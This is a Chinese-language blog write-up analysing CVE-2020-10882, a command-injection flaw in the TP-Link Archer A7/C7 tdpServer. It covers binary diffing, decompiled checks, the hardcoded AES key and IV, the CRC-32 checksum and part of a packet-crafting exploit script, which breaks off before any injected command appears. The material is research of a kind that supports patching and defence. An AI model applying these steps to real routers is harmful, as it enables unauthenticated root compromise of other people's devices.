TP-Link Archer A7漏洞分析与利用:远程代码执行实战

本文详细分析了CVE-2020-10882漏洞,该漏洞影响TP-Link Archer A7/C7路由器,允许攻击者通过未认证的UDP数据包实现远程代码执行。文章涵盖环境搭建、二进制差异分析、静态代码审计、数据包构造和完整漏洞利用过程。

环境搭建

调试和分析主要在路由器环境中进行。通过USB-TTL设备获取路由器交互式shell的方法不在本文讨论范围内。OpenWRT提供了相关指南。

代码分析采用二进制差异比较(BinDiff)方法定位漏洞函数。漏洞固件和修补版本可从以下链接下载:

  • 修补版本:Archer A7(US)_V5_200220
  • 先前版本:Archer C7(US)_V5_190726

注意:Archer C7和A7型号共享大多数二进制文件,因此分析C7或A7固件镜像均可。

二进制差异分析

首先从固件中提取MIPS(大端序)二进制文件并加载到Ghidra中。由于缺乏Ghidra的BinDiff经验,遵循了BinDiffHelper项目的说明,并下载安装了bindiff6。

使用Ghidra和Bindiff后,发现几个相似度极低的函数。追踪这些地址发现,部分实际上是字符串地址。但FUN_00414D14似乎指向一个函数,这可能是漏洞函数。

静态分析

根据ZDI的CVE报告描述,漏洞存在于tdpServer服务中,该服务默认监听UDP端口20002。解析slave_mac参数时,进程在使用用户提供的字符串执行系统调用前未正确验证。攻击者可利用此漏洞以root用户身份执行代码。

从描述中可见,slave_mac参数是关键控制点。反编译发现二进制运行时输出大量详细消息。可通过字符串搜索定位相关代码。

搜索slave_mac得到多个结果。第一个搜索结果中,多处包含slave_mac字符串,这有助于调试围绕slave_mac值的条件。

此处还引用了函数FUN_00414d14,表明这是值得关注的位置。其他函数经Bindiff检测很可能无差异。

字符串"tdpUciInterface.c:644",“About to get slave mac %s info"仅有一个引用地址0x40e7e4,Bindiff显示无变化。

字符串Failed tdp_onemesh_slave_mac_info!与第一个slave_mac字符串位于同一函数FUN_00414d14中。

最后一个字符串slave_mac_info未找到函数引用。

寻找system()调用

根据CVE描述,涉及系统调用,很可能指system()函数调用而非直接内核系统调用。目标是寻找攻击者可能控制的参数调用。

幸运的是,有一个看起来很有希望的调用。在函数中,看到多个调用者。具体地,FUN_00414d14中有至少3个system调用,使此函数非常有趣。

根据Bindiff,仅0x411790和0x414d14有变化。但在函数0x411790中无法控制,故非目标漏洞点。

这意味着已缩小范围至函数0x414d14。在三个system函数中,有一个有趣的调用,其参数非硬编码:

1
2
3
snprintf(interesting_acStack7432,0x1ff,
  "lua -e \'require(\"luci.controller.admin.onenmesh\").sync_wifi_specified({mac=\"%s\"})\'"
  , to_be_controlled_acStack4248);

漏洞利用

在漏洞函数中,参数可通过slave_mac值控制,路由器解析JSON负载时几乎无检查。这意味着若可构造有效负载,最终可控制传递给system()的内容。

分析后可进行以下步骤:

  • 设置MIPS大端序GDB服务器
  • 测试连接到tdpServer
  • 负载构造
  • 完整漏洞利用

设置GDB服务器

获取路由器交互式shell后,可在机器上设置HTTP服务器传输gdbserver.mipsbe到路由器,以便从机器调试。

设置gdbserver,在目标路由器上使用以下命令:

1
2
3
$ wget http://<machine-ip>/gdbserver.mipsbe
$ chmod +x gdbserver.mipsbe
$ ./gdbserver.mipsbe 0.0.0.0:8908 /usr/bin/tdpServer

这将使路由器在指定端口监听调试。

在机器上,确保安装gdb-multiarch,并设置架构为“mips”和端序为大端:

1
2
3
4
gdb-multiarch
...
gef➤  set arch mips
gef➤  set endian big

测试连接到tdpServer

确保路由器管理门户中的操作模式设置为“路由器”。

可通过UDP发送数据包连接到tdpServer。

编写Python脚本通过UDP端口20002发送数据:

1
2
3
4
5
6
import socket
IP="192.168.0.254"
PORT=20002
addr = (IP,PORT)
s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
s.sendto(b'0x01'*16,(IP,PORT))

发送后,可见注册的sn和校验和为0x01010101,表明可通过UDP向路由器端口20002发送数据包。输出来自运行进程,非常详细,调试时极有帮助。

稍后通过逆向tdp数据包结构了解此过程。

TDP数据包格式

逆向反编译代码对理解负载数据包格式及处理方式至关重要。有一些检查正在进行。

首先,负载包括16字节数据包头,后跟从设备发送的最大0x410字节JSON负载。

数据包第一个字节指示tdp版本。此固件接受版本1的数据包。还会检查数据包长度,最大长度包括包头为0x410,不少于16字节(包头长度)。

完成这些检查后,计算数据包校验和并与包头中的校验和比较。若校验和正确,负载需使用IV和DecryptKey通过AES_DECRYPT在CBC模式下解密。

显然,256位IV [1234567890abcdef1234567890abcdef] 和 DecryptKey [TPONEMESH_Kf!xn?gj6pMAt-wBNV_TDP] 被截断为128位,故仅为1234567890abcdef和TPONEMESH_Kf!xn?。

加密可使用此Python片段完成:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
from Crypto.Cipher import AES
decryptKey = "TPONEMESH_Kf!xn?"
ivec = "1234567890abcdef"
BLOCKSIZE = 16
pad = lambda s: s + (BLOCKSIZE - len(s) % BLOCKSIZE) * chr(BLOCKSIZE - len(s) % BLOCKSIZE)
unpad = lambda s : s[:-ord(s[len(s)-1:])]
def AESEncrypt(payload):
    payload = pad(payload)
    cipher = AES.new(decryptKey[:16],AES.MODE_CBC,ivec[0:16])
    encText = cipher.encrypt(payload)
    return encText

解密后的负载随后被解析。解析器查找以下字段:

  • method
  • data
  • onemesh.onemesh.group_id
  • ip
  • slave_mac
  • slave_private_account
  • slave_private_password
  • want_to_join
  • model
  • product_type
  • operation_mode

此处可找到slave_mac字段,即需要控制的内容。

数据包微观结构

设置以下断点帮助调试分析过程中的不同检查点:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
set arch mips
set endian big
target remote 192.168.0.254:8899
b*0x0040cfe0  
b*0x0040c9d0   # 校验和检查
b*0x0040d04c   # 打印长度是否正常
b*0x0040d160   # 超过最大长度时命中,校验和前
b*0x0040d0fc   # 校验和失败
b*0x0040d060   # 校验和通过!!
b*0x0040ca24   # 检查数据包中当前校验和
b*0x0040ca5c   # 比较当前校验和与计算校验和

使用这些引用检查是否在目标函数路径上。

仅发送数据,可见若发送数据长度在有效范围内,将检查位于函数0x0040c9d0的校验和。

需逆向此函数了解其实际行为。

1
iVar4 = cmp_new_and_old_checksum_FUN_0040c9d0(recv_buffer,iVar4);

在此cmp_new_and_old_checksum_FUN_0040c9d0函数中,计算校验和并与当前校验和比较。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
undefined4 cmp_new_and_old_checksum_FUN_0040c9d0(byte *recvBuffer,int packetLen)
{
  byte sn;
  int temp;
  uint newCheckSum;
  char *errorLoc;
  char *errorMsg;
  uint currChecksum;
  
  if ((recvBuffer != (byte *)0x0) && (temp = hex_0x410_FUN_0040d608(), packetLen <= temp)) // 检查长度范围
  {
    temp = check_if_first_byte_is_one_FUN_0040d644((uint)*recvBuffer);
    if (temp == 0) { // 首字节不能为0,否则版本错误
      currChecksum = (uint)*recvBuffer;
      errorLoc = "tdpdServer.c:591";
      errorMsg = "TDP version=%x";
    }
    else {
      currChecksum = *(uint *)(recvBuffer + 0xc); // 结构字段校验和
      *(undefined4 *)(recvBuffer + 0xc) = 0x5a6b7c8d; // 替换为魔术校验和
      newCheckSum = calculate_new_checksum_FUN_004037f0(recvBuffer,packetLen);
      MessagePrint("tdpdServer.c:599","TDP curCheckSum=%x; newCheckSum=%x",currChecksum,newCheckSum); // 非常有用的调试消息
      if (currChecksum == newCheckSum) {
        *(uint *)(recvBuffer + 0xc) = currChecksum;
        if ((uint)*(ushort *)(recvBuffer + 4) + 0x10 == packetLen) {
          sn = recvBuffer[1];
          if ((sn == 0) || (sn == 0xf0)) {
            MessagePrint("tdpdServer.c:643","TDP sn=%x",*(undefined4 *)(recvBuffer + 8));
            return 0;
          }
          errorLoc = "tdpdServer.c:634";
          errorMsg = "TDP error reserved=%x";
          currChecksum = (uint)sn;
        }
        else {
          errorLoc = "tdpdServer.c:611";
          errorMsg = "TDP pkt has no payload. payloadlength=%x";
          currChecksum = (uint)*(ushort *)(recvBuffer + 4);
        }
      }
      else {
        errorLoc = "tdpdServer.c:602";
        errorMsg = "TDP error checksum=%x";
      }
    }
    MessagePrint(errorLoc,errorMsg,currChecksum);
  }
  return 0xffffffff;
}

此处再次检查数据包长度确保在有效范围内。确认后,检查缓冲区非空。确认后,检查首字节是否为1。事实证明,tdpServer有不同版本,此版本仅支持首字节值为0x1的数据包数据。

路由器存储数据包给出的校验和(oldChecksum),然后将数据包中的校验和字段替换为常数值0x5a6b7c8d。随后通过函数calculate_new_checksum_FUN_004037f0基于recvbuffer计算更新校验和。比较oldChecksum和更新校验和。若不同则失败,继续监听更多信息的循环。若校验和相同,则将校验和替换回数据结构。再次重新验证数据包大小防止溢出。最后,解密负载并解析JSON负载。

注意,还获取索引1的值(recvBuffer[1])并检查是否为0或0xF0。此漏洞利用需为0xF0,以便进入检查标志的switch case。可见漏洞代码在switch case语句内。需switch case为7进入case 6。

函数相关部分:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
if ((recv_buffer->zeroOrFZero == 0xf0) /* 需为0xF0 */ && (DAT_0042f0f0 == '\x01')) {
    if ((recv_buffer != (tdpPacketStruct *)0x0) &&
       (((memsettedBuffer != 0 && (param_4 != (int *)0x0)) &&
        (packetLen = FUN_0040e074(local_c8,numOfBytes), packetLen == 0)))) {
      MessagePrint("tdpdServer.c:883","recv ip is %x, my ip is %x",param_5,local_c8[0]);
      if (param_5 == local_c8[0]) {
        MessagePrint("tdpdServer.c:886","Ignore onemesh tdp packet to myself...");
      }
      else {
        MessagePrint("tdpdServer.c:890","opcode %x, flags %x",(uint)recv_buffer->opcode,
                     (uint)recv_buffer->flag);
        switch((uint)recv_buffer->opcode - 1 & 0xffff) {
        ...
        case 6: //switch((uint)recv_buffer->opcode - 1 & 0xffff)故6 + 1 = 7
          if ((recv_buffer->flag & 1) == 0) {
            pcVar6 = "tdpdServer.c:958";
            pcVar7 = "Invalid flags";
          }
          else {
            packetLen = target_function_FUN_00414d14(recv_buffer,numOfBytes,memsettedBuffer,param_4,param_5);
            if (-1 < packetLen) {
              return 0;
            }
            pcVar6 = "tdpdServer.c:952";
            pcVar7 = "error processing slave_key_offer request...";
          }

借助有用的调试消息,发现数据包头包含以下结构:

1
2
3
4
5
6
7
8
9
struct tdpPacket {
    char tdpVersion;   // calc_checksum_FUN_0040c9d0
    char zeroOrFZero;  // 需0xf0进入目标漏洞函数 //function_accepting_packet_to_target_function_0040cfe0
    unsigned short packetLength; // checks_max_length_FUN_0040d620
    byte flag; //function_accepting_packet_to_target_function_0040cfe0
    char unknown;
    unsigned int sn;		   // calc_checksum_FUN_0040c9d0; 类似序列号
    unsigned int magicOrChecksum;		   // calc_checksum_FUN_0040c9d0; 计算前硬编码值0x5a6b7c8d,后替换为新计算校验和
    char data[0x400]; // JSON数据

计算校验和

查看用于计算校验和的反编译算法。校验和基于整个数据包计算,包括包头和内容。所有字节与表进行异或操作并进行额外算术运算。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
uint calculate_new_checksum_FUN_004037f0(byte *recvBuffer,int packetLen)
{
  byte curr_packet_byte;
  uint result;
  byte *pbVar1;
  
  result = 0;
  if ((recvBuffer != (byte *)0x0) && (packetLen != 0)) {
    pbVar1 = recvBuffer + packetLen;
    result = 0xffffffff;
    while (recvBuffer < pbVar1) {
      curr_packet_byte = *recvBuffer;
      recvBuffer = recvBuffer + 1;
      // byte_data_DAT_00416e90有0x400字节数据
      result = *(uint *)(&byte_data_DAT_00416e90 + ((curr_packet_byte ^ result) & 0xff) * 4) ^ result >> 8;
    }
    result = ~result;
  }
  return result;
}

由于较短,可快速转换为Python:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
checksumTable = [0x00,0x00,0x00,0x00,0x77,0x07,0x30,0x96,0xee,0x0e,.........,0xef,0x8d]
def calcChecksum(packet):
    result = 0xffffffff
    for i in range(len(packet)):
        currChar = packet[i]
        temp1 = ((ord(currChar)^result)&0xff) * 4 
        temp2 = ((checksumTable[temp1])&0xff)<<24
        temp2 |= ((checksumTable[temp1+1])&0xff)<<16
        temp2 |= ((checksumTable[temp1+2])&0xff)<< 8
        temp2 |= ((checksumTable[temp1+3])&0xff)
        temp3  = result>>8
        result = temp2^temp3
    result = result ^ 0xffffffff
    print("==>  Calculated checksum : " + hex(result))
    return result

后来发现实际上是CRC-32算法,故现在计算校验和更容易。

1
2
3
4
def calcChecksum(packet):
    result = zlib.crc32(packet.encode())
    print("==>  Calculated checksum : " + hex(result))
    return result

构造数据包

这是一个测试脚本,加密并发送数据包中的数据。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
def craftPacket():
    # 基于逆向的tdpPacket返回构造的数据包
    testEnc = "AAAABBBB"
    ct = AESEncrypt(testEnc)
    print("LENGTH : " + str(len(ct)))
    packet = "\x01"
    packet += "\xf0" # 需此值进入漏洞相同分支
    packet += "\x00\x07" # 进入switch case 6,但选择是x - 1,故需7得6以触发漏洞
    packet += "\x00\x10"# 16,因为每个块大小为16
    packet += "\x01"
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计